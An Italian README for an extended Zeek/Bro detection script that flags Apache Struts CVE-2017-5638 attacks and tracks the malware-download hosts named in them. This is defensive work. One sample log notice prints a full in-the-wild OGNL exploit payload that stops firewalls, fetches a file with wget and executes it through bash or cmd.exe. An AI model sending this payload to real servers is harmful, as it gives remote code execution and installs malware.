CVE-2017-5638_struts

Ho esteso ulteriormente lo script di Scott Campbell, rendendolo più complicato :)

Mentre "HTTP_StrutsAttack" bloccherà il 100% della ricognizione, c'era ancora una minima possibilità che se uno scanner colpisse un sistema vulnerabile, anche se avessimo bloccato lo scanner, il sistema vulnerabile potesse comunque eseguire il comando wget incluso nella richiesta HTTP ed eseguire il malware. Poiché non stiamo bloccando l'IP di download del malware nell'URL wget, che è quasi sempre diverso dall'IP di ricognizione.

Quindi lo script esteso estrae anche l'IP di download del malware.

1. Generare le seguenti notifiche:

   root@kitploit:~

    redef enum Notice::Type += {
            Attempt,
            MalwareURL,
            HostileDomainLookup,
            MalwareURLClick,
            FileDownload,
            Compromise,
    };
   

• Quindi ora questo script estrarrà l'URL "wget" da Attempt e poi, se l'URL ha un dominio (o un dominio con CNAME), lo script rintraccerà ulteriormente gli indirizzi IP dell'host del malware e ne monitorerà l'attività.

• se l'URL wget viene visto in http, genereremmo una notifica MalwareURLClick

• ulteriori notifiche per FileDownload e Compromise.

• Questo script è anche clusterizzato.

L'ho eseguito per 24 ore e le cose sembrano stabili per quanto riguarda lo script. Sono ancora sicuro che potrebbero esserci alcuni buchi di rilevamento sciocchi. quindi sentiti libero di modificarlo e farmelo sapere.

Stranamente, a differenza delle volte precedenti, non vedo un enorme volume di scanner Struts. Vedo nell'ordine di ~20 al giorno invece di ~1 000's al giorno.

Ecco alcuni esempi di notifiche:

1489228734.171565 CbVq832QovIwAQddf2 1.24.191.108 65000 131.243.X.Y 80 - - - tcp Struts::Attempt CVE-2017-5638/Struts attack from 1.24.191.108 seen: %{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c 777 xhx;./xhx;').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} - 1.24.191.108 131.243.X.Y 80 - worker-5 Notice::ACTION_LOG 3600.000000 F - -- - -